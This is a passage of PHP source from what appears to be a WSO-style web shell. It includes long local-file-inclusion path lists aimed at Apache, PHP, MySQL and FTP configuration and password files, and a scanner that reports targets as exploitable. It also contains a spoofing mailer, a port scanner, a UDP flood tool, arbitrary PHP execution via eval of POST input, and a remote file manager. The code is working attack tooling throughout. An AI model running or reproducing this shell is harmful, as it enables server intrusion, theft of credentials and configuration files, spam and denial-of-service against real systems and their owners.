  576. 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
  577. 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
  578. 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
  579. 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
  580. 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
  581. 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
  582. 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
  583. 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
  584. 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
  585. 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
  586. 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
  587. 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
  588. 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
  589. 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
  590. 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
  591. 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
  592. 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
  593. 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
  594. 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
  595. 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
  596. 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
  597. 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
  598. 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
  599. 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
  600. 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
  601.  
  602. $lfiphpini = array(
  603. 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
  604. 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
  605. 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
  606. 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
  607. 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
  608. 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
  609. 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
  610. 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
  611. 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
  612. 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
  613. 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
  614. 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
  615. 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
  616. 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
  617. 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
  618. 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
  619. 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
  620. 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
  621. 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
  622. 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
  623. 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
  624. 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
  625. 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
  626. 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
  627. 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
  628. 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
  629. 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
  630.  
  631. $lfimysql = array(
  632. 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
  633. 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
  634. 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
  635. 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
  636. 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
  637. 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
  638. 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
  639. 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
  640. 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
  641. 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
  642.  
  643. $lfiftp = array(
  644. 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
  645. 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
  646. 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
  647. 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
  648. 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
  649. 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
  650. 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
  651. 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
  652. 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
  653. 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
  654. 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
  655. 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
  656. 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
  657. 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
  658. 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
  659. 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
  660. 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
  661. 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
  662. 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
  663. 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
  664. 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
  665. 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
  666. 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
  667. 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
  668. 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
  669. 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
  670. 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
  671. 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
  672. 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
  673. 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
  674. 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
  675. 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
  676. 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
  677. 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
  678. 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
  679. 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
  680. 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
  681. 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
  682. 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
  683. 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
  684. 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
  685. 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
  686. 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
  687. 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
  688.  
  689.  
  690. $x = 1;
  691. if ( $type == 1 ) {
  692. $res1 = FetchURL($target.$lfitest);
  693. $res2 = FetchURL($target.$lfitest2);
  694. $rhash1 = md5($res1);
  695. $rhash2 = md5($res2);
  696. if ($rhash1 != $rhash2) {
  697. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  698. while($lfiaccess[$x]) {
  699. $res3 = FetchURL($target.$lfiaccess[$x]);
  700. $rhash3 = md5($res3);
  701. if ($rhash3 != $rhash2) {
  702. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
  703. }
  704. else {
  705. print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
  706. }
  707. $x++;
  708. }
  709. }
  710. }
  711. if ( $type == 2 ) {
  712. $res1 = FetchURL($target.$lfitest);
  713. $res2 = FetchURL($target.$lfitest2);
  714. $rhash1 = md5($res1);
  715. $rhash2 = md5($res2);
  716. if ($rhash1 != $rhash2) {
  717. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  718. while($lficonfig[$x]) {
  719. $res3 = FetchURL($target.$lficonfig[$x]);
  720. $rhash3 = md5($res3);
  721. if ($rhash3 != $rhash2) {
  722. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
  723. }
  724. else {
  725. print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
  726. }
  727. $x++;
  728. }
  729. }
  730. }
  731. if ( $type == 3 ) {
  732. $res1 = FetchURL($target.$lfitest);
  733. $res2 = FetchURL($target.$lfitest2);
  734. $rhash1 = md5($res1);
  735. $rhash2 = md5($res2);
  736. if ($rhash1 != $rhash2) {
  737. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  738. while($lfierror[$x]) {
  739. $res3 = FetchURL($target.$lfierror[$x]);
  740. $rhash3 = md5($res3);
  741. if ($rhash3 != $rhash2) {
  742. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
  743. }
  744. else {
  745. print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
  746. }
  747. $x++;
  748. }
  749. }
  750. }
  751. if ( $type == 4 ) {
  752. $res1 = FetchURL($target.$lfitest);
  753. $res2 = FetchURL($target.$lfitest2);
  754. $rhash1 = md5($res1);
  755. $rhash2 = md5($res2);
  756. if ($rhash1 != $rhash2) {
  757. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  758. while($lfiphpini[$x]) {
  759. $res3 = FetchURL($target.$lfiphpini[$x]);
  760. $rhash3 = md5($res3);
  761. if ($rhash3 != $rhash2) {
  762. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
  763. }
  764. else {
  765. print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
  766. }
  767. $x++;
  768. }
  769. }
  770. }
  771. if ( $type == 5 ) {
  772. $res1 = FetchURL($target.$lfitest);
  773. $res2 = FetchURL($target.$lfitest2);
  774. $rhash1 = md5($res1);
  775. $rhash2 = md5($res2);
  776. if ($rhash1 != $rhash2) {
  777. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  778. while($lfimysql[$x]) {
  779. $res3 = FetchURL($target.$lfimysql[$x]);
  780. $rhash3 = md5($res3);
  781. if ($rhash3 != $rhash2) {
  782. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
  783. }
  784. else {
  785. print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
  786. }
  787. $x++;
  788. }
  789. }
  790. }
  791. if ( $type == 6 ) {
  792. $res1 = FetchURL($target.$lfitest);
  793. $res2 = FetchURL($target.$lfitest2);
  794. $rhash1 = md5($res1);
  795. $rhash2 = md5($res2);
  796. if ($rhash1 != $rhash2) {
  797. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  798. while($lfiftp[$x]) {
  799. $res3 = FetchURL($target.$lfiftp[$x]);
  800. $rhash3 = md5($res3);
  801. if ($rhash3 != $rhash2) {
  802. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
  803. }
  804. else {
  805. print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
  806. }
  807. $x++;
  808. }
  809. }
  810. }
  811. if ( $type == 7 ) {
  812. $res1 = FetchURL($target.$lfitest);
  813. $res2 = FetchURL($target.$lfitest2);
  814. $rhash1 = md5($res1);
  815. $rhash2 = md5($res2);
  816. if ($rhash1 != $rhash2) {
  817. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
  818. $res3 = FetchURL($target.$lfiprocenv);
  819. $rhash3 = md5($res3);
  820. if ($rhash3 != $rhash2) {
  821. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
  822. }
  823. else {
  824. print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
  825. }
  826. }
  827. }
  828. }
  829. }
  830. wsoFooter();
  831. }
  832. function actionphptools() {
  833. wsoHeader();
  834. ?><center><?php
  835. //mailer
  836. echo '<b>Mailer</b><br>
  837. <form action="'.$surl.'" method=POST>
  838. <input type="hidden" name="a" value="phptools">
  839. <input type=text name=to value=to><br>
  840. <input type=text name=from value=from><br>
  841. <input type=text name=subject value=subject><br>
  842. <input type=text name=body value=body><br>
  843. <input type=submit name=submit value=Submit></form>';
  844. if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {
  845. $headers = 'From: '.$_POST['from'];
  846. mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
  847. echo 'Email sent.';
  848. }
  849.  
  850. //port scanner
  851. echo '<br><b>Port Scanner</b><br>';
  852. $start = strip_tags($_POST['start']);
  853. $end = strip_tags($_POST['end']);
  854. $host = strip_tags($_POST['host']);
  855.  
  856. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  857. for($i = $start; $i<=$end; $i++){
  858. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  859. if($fp){
  860. echo 'Port '.$i.' is <font color=green>open</font><br>';
  861. }
  862. flush();
  863. }
  864. }else{
  865. ?>
  866. <form action="?" method="POST">
  867. <input type="hidden" name="a" value="phptools">
  868. Host:<br />
  869. <input type="text" name="host" value="localhost"/><br />
  870. Port start:<br />
  871. <input type="text" name="start" value="0"/><br />
  872. Port end:<br />
  873. <input type="text" name="end" value="5000"/><br />
  874. <input type="submit" value="Scan Ports" />
  875. </form>
  876. <?php
  877. }
  878.  
  879. //UDP
  880. if(isset($_POST['host'])&&is_numeric($_POST['time'])){
  881. $pakits = 0;
  882. ignore_user_abort(TRUE);
  883. set_time_limit(0);
  884.  
  885. $exec_time = $_POST['time'];
  886.  
  887. $time = time();
  888. //print "Started: ".time('h:i:s')."<br>";
  889. $max_time = $time+$exec_time;
  890.  
  891. $host = $_POST['host'];
  892.  
  893. for($i=0;$i<65000;$i++){
  894. $out .= 'X';
  895. }
  896. while(1){
  897. $pakits++;
  898. if(time() > $max_time){
  899. break;
  900. }
  901. $rand = rand(1,65000);
  902. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  903. if($fp){
  904. fwrite($fp, $out);
  905. fclose($fp);
  906. }
  907. }
  908. echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
  909. echo '<br><br>
  910. <form action="'.$surl.'" method=POST>
  911. <input type="hidden" name="a" value="phptools">
  912. Host: <input type=text name=host value=localhost>
  913. Length (seconds): <input type=text name=time value=9999>
  914. <input type=submit value=Go></form>';
  915. }else{ echo '<br><b>UDP Flood</b><br>
  916. <form action=? method=POST>
  917. <input type="hidden" name="a" value="phptools">
  918. Host: <br><input type=text name=host value=localhost><br>
  919. Length (seconds): <br><input type=text name=time value=9999><br>
  920. <input type=submit value=Go></form>';
  921. }
  922. ?></center><?php
  923. wsoFooter();}
  924. function actionPhp() {
  925. if(isset($_POST['ajax'])) {
  926. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
  927. ob_start();
  928. eval($_POST['p1']);
  929. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  930. echo strlen($temp), "\n", $temp;
  931. exit;
  932. }
  933. wsoHeader();
  934. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  935. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  936. ob_start();
  937. phpinfo();
  938. $tmp = ob_get_clean();
  939. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  940. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  941. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  942. }
  943. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  944. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  945. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  946. echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  947. if(!empty($_POST['p1'])) {
  948. ob_start();
  949. eval($_POST['p1']);
  950. echo htmlspecialchars(ob_get_clean());
  951. }
  952. echo '</pre></div>';
  953. wsoFooter();
  954. }
  955.  
  956. function actionFilesMan() {
  957. wsoHeader();
  958. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  959. if(!empty($_POST['p1'])) {
  960. switch($_POST['p1']) {
  961. case 'uploadFile':
  962. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  963. echo "Can't upload file!";
  964. break;
  965. case 'mkdir':
  966. if(!@mkdir($_POST['p2']))
  967. echo "Can't create new dir";
  968. break;
  969. case 'delete':
  970. function deleteDir($path) {
  971. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  972. $dh = opendir($path);
  973. while ( ($item = readdir($dh) ) !== false) {
  974. $item = $path.$item;
  975. if ( (basename($item) == "..") || (basename($item) == ".") )
  976. continue;
  977. $type = filetype($item);
  978. if ($type == "dir")
  979. deleteDir($item);
  980. else
  981. @unlink($item);
  982. }
  983. closedir($dh);
  984. @rmdir($path);
  985. }
  986. if(is_array(@$_POST['f']))
  987. foreach($_POST['f'] as $f) {
  988. if($f == '..')
  989. continue;
  990. $f = urldecode($f);
  991. if(is_dir($f))
  992. deleteDir($f);
  993. else
  994. @unlink($f);
  995. }
  996. break;
  997. case 'paste':
  998. if($_SESSION['act'] == 'copy') {
  999. function copy_paste($c,$s,$d){
  1000. if(is_dir($c.$s)){
  1001. mkdir($d.$s);
  1002. $h = @opendir($c.$s);
  1003. while (($f = @readdir($h)) !== false)
  1004. if (($f != ".") and ($f != ".."))
  1005. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1006. } elseif(is_file($c.$s))
  1007. @copy($c.$s, $d.$s);
  1008. }
  1009. foreach($_SESSION['f'] as $f)
  1010. copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  1011. } elseif($_SESSION['act'] == 'move') {
  1012. function move_paste($c,$s,$d){
  1013. if(is_dir($c.$s)){
  1014. mkdir($d.$s);
  1015. $h = @opendir($c.$s);
  1016. while (($f = @readdir($h)) !== false)
  1017. if (($f != ".") and ($f != ".."))
  1018. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1019. } elseif(@is_file($c.$s))
  1020. @copy($c.$s, $d.$s);
  1021. }
  1022. foreach($_SESSION['f'] as $f)
  1023. @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  1024. } elseif($_SESSION['act'] == 'zip') {
  1025. if(class_exists('ZipArchive')) {
  1026. $zip = new ZipArchive();
  1027. if ($zip->open($_POST['p2'], 1)) {
  1028. chdir($_SESSION['c']);
  1029. foreach($_SESSION['f'] as $f) {
  1030. if($f == '..')
  1031. continue;
  1032. if(@is_file($_SESSION['c'].$f))
  1033. $zip->addFile($_SESSION['c'].$f, $f);
  1034. elseif(@is_dir($_SESSION['c'].$f)) {
  1035. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  1036. foreach ($iterator as $key=>$value) {
  1037. $zip->addFile(realpath($key), $key);
  1038. }
  1039. }
  1040. }
  1041. chdir($GLOBALS['cwd']);
  1042. $zip->close();
  1043. }
  1044. }
  1045. } elseif($_SESSION['act'] == 'unzip') {
  1046. if(class_exists('ZipArchive')) {
  1047. $zip = new ZipArchive();
  1048. foreach($_SESSION['f'] as $f) {
  1049. if($zip->open($_SESSION['c'].$f)) {
  1050. $zip->extractTo($GLOBALS['cwd']);
  1051. $zip->close();
  1052. }
  1053. }
  1054. }
  1055. } elseif($_SESSION['act'] == 'tar') {
  1056. chdir($_SESSION['c']);
  1057. $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
  1058. wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
  1059. chdir($GLOBALS['cwd']);
  1060. }
  1061. unset($_SESSION['f']);
  1062. break;
  1063. default:
  1064. if(!empty($_POST['p1'])) {
  1065. $_SESSION['act'] = @$_POST['p1'];
  1066. $_SESSION['f'] = @$_POST['f'];
  1067. foreach($_SESSION['f'] as $k => $f)
  1068. $_SESSION['f'][$k] = urldecode($f);
  1069. $_SESSION['c'] = @$_POST['c'];
  1070. }
  1071. break;
  1072. }
  1073. }
  1074. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1075. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  1076. global $sort;
  1077. $sort = array('name', 1);
  1078. if(!empty($_POST['p1'])) {
  1079. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  1080. $sort = array($match[1], (int)$match[2]);
  1081. }
  1082. echo "<script>
  1083. function sa() {
  1084. for(i=0;i<d.files.elements.length;i++)
  1085. if(d.files.elements[i].type == 'checkbox')
  1086. d.files.elements[i].checked = d.files.elements[0].checked;
  1087. }
  1088.  
  1089. </script>
  1090. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  1091. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  1092. $dirs = $files = array();
  1093. $n = count($dirContent);
  1094. for($i=0;$i<$n;$i++) {
  1095. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1096. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1097. $tmp = array('name' => $dirContent[$i],
  1098. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  1099. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  1100. 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  1101. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1102. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1103. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1104. );
  1105. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  1106. $files[] = array_merge($tmp, array('type' => 'file'));
  1107. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  1108. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  1109. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  1110. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1111. }
  1112. $GLOBALS['sort'] = $sort;
  1113. function wsoCmp($a, $b) {
  1114. if($GLOBALS['sort'][0] != 'size')
  1115. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  1116. else
  1117. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1118. }
  1119. usort($files, "wsoCmp");
  1120. usort($dirs, "wsoCmp");
  1121. $files = array_merge($dirs, $files);
  1122. $l = 0;
  1123. foreach($files as $f) {
  1124. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1125. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1126. $l = $l?0:1;
  1127. }
  1128. echo "<tr><td colspan=7>
  1129.  
  1130. <input type=hidden name=a value='FilesMan'>
  1131. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  1132. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  1133. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  1134. if(class_exists('ZipArchive'))
  1135. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  1136. echo "<option value='tar'>Compress (tar.gz)</option>";
  1137. if(!empty($_SESSION['act']) && @count($_SESSION['f']))
  1138. echo "<option value='paste'>Paste / Compress</option>";
  1139. echo "</select>&nbsp;";
  1140. if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
